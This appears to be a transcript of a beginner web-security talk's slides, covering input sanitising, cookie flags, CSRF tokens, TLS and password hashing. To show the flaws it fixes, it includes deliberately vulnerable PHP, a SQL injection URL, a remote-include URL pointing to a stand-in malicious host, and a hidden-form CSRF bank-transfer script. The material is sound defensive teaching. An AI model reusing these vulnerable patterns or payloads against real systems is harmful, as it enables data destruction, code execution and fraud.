Transcript

  1. YOU SUCK at security

  2. 1. Your attackers are better

  3. Do NOT ROLL YOUR OWN

  4. None

  5. 1.  Open-source 2.  Audited 3.  Active community

  6. 2. Security is hard

  7. No. Seriously.

  8. 5,000 CVEs /yr

  9. 3. Dont trust input

  10. <?php! $query = "SELECT * FROM users WHERE username='". "$_GET[’user']."'";

    ! $result = mysql_query($query);!

  11. /derp.php?user=x’ DROP TABLE users;--!

  12. /derp.php?user=x’ DROP TABLE users;--! http://xkcd.com/327/

  13. <?php! $stmt = $dbh->prepare("SELECT FROM users WHERE username=?");! $stmt->execute(array($_GET['user']));! Use

    Parameter Binding

  14. <div><?php echo $row['username']; ?></div>! XSS. Inject javascript

  15. <html>! <body>! "<form method="POST" action="/users/add">! " "<input type="text" name="username">! "

    "<input type="password" name="password">! " "<input type="hidden" name="isAdmin" value="true">! " "<button type="submit">Create user</button>! "</form>! </body>! </html>! Unexpected Input. Sneaky DOM edit

  16. <?php! include('header.php');! include($_GET['page']);! include('footer.php');! ! /index.php?page=http://sketchy.su/BadTime.php! Remote Include.

  17. Sanitize all input

  18. Blacklist Only use if you know all cases Less restrictive

    on user

  19. Whitelist Best security Very restrictive

  20. Protip Markdown Google Caja

  21. 4. Protect your cookies

  22. Set-Cookie: SESSIONID=S8d2d1ffd5cb37209ef71982b80f16d7b! Bad Session

  23. Set-Cookie: SESSIONID=S8d2d1ffd5cb37209ef71982b80f16d7b; ! "HttpOnly; secure! GOOD Session Send over SSL

    only HTTP access only Prevents XSS theft

  24. 5. No Outsiders

  25. <iframe name="bank"></iframe>! <script>! "document.write('! " "<form ! " " action="https://MyBank.com/account/transfer"

    ! " " target="bank" ! " " method="POST" ! " " name="injected">! " " "<input type="text" name="amount" value="1000.00" />! " " "<input type="text" name="to" value="[email protected]" />! " "</form>! "');! "injected.submit();! </script>!

  26. CSRF sucks

  27. Block it. Require a unique token per request X-Frame-Options: Block

  28. 6. Encrypt everything

  29. Too expensive? startssl.com

  30. Self-sign Dev Environment openssl req -x509 -newkey des3:2048 -keyout key.pem

    - out cert.pem -days XXX!

  31. Verify All CERTS <?php! // cURL supports SSL verification! curl_setopt($ch,

    CURLOPT_SSL_VERIFYPEER, true);! ! //File_get_contents does NOT! file_get_contents($url);!

  32. Verify Servers Use server certs to verify servers to one

    another

  33. Harden SSL Disable SSL2 Disable TLS1.0 compression Disable weak ciphers

    (DES, RC4) h"p://blog.cloudflare.com/staying-­‐on-­‐top-­‐of-­‐tls-­‐a"acks  

  34. Force SSL

  35. 7. Use Slow Hashes

  36. No Plaintext Passwords Just don’t.

  37. Hash + Salt MD5 SHA1 … HMAC + bcrypt

  38. Wait. Explain. We want to be slow.

  39. Method password = bcrypt(HMAC(password, local_salt), bcrypt_salt)!

  40. Salt-free db Store salt on file system Two attacks needed

    Or both

  41. Migrate. Maintain two hashes Rehash on successful login Purge old

    hashes after x duration

  42. Lost Passwords Hash a one-time login ID

  43. 8. Remember the basics

  44. Random IV Having the IV be public is okay

  45. Wait for entropy /dev/random waits /dev/urandom non-blocking

  46. Use ECC NSA-Proof * * As far as we know,

    at least…

  47. Passwordless Login Use keypairs for server access

  48. 9. Use libraries

  49. Crypto NaCL SJCL Crypto++ QCA

  50. Web Frameworks Python: Django, Flask PHP: Laravel, Phalcon Go: Revel

    Node: Sails Java/Scala: Play Ruby: Rails

  51. Assume nothing Always research security best practices

  52. Questions? Complaints?

  53. Im hiring Sysadmin.union.rpi.edu/apply
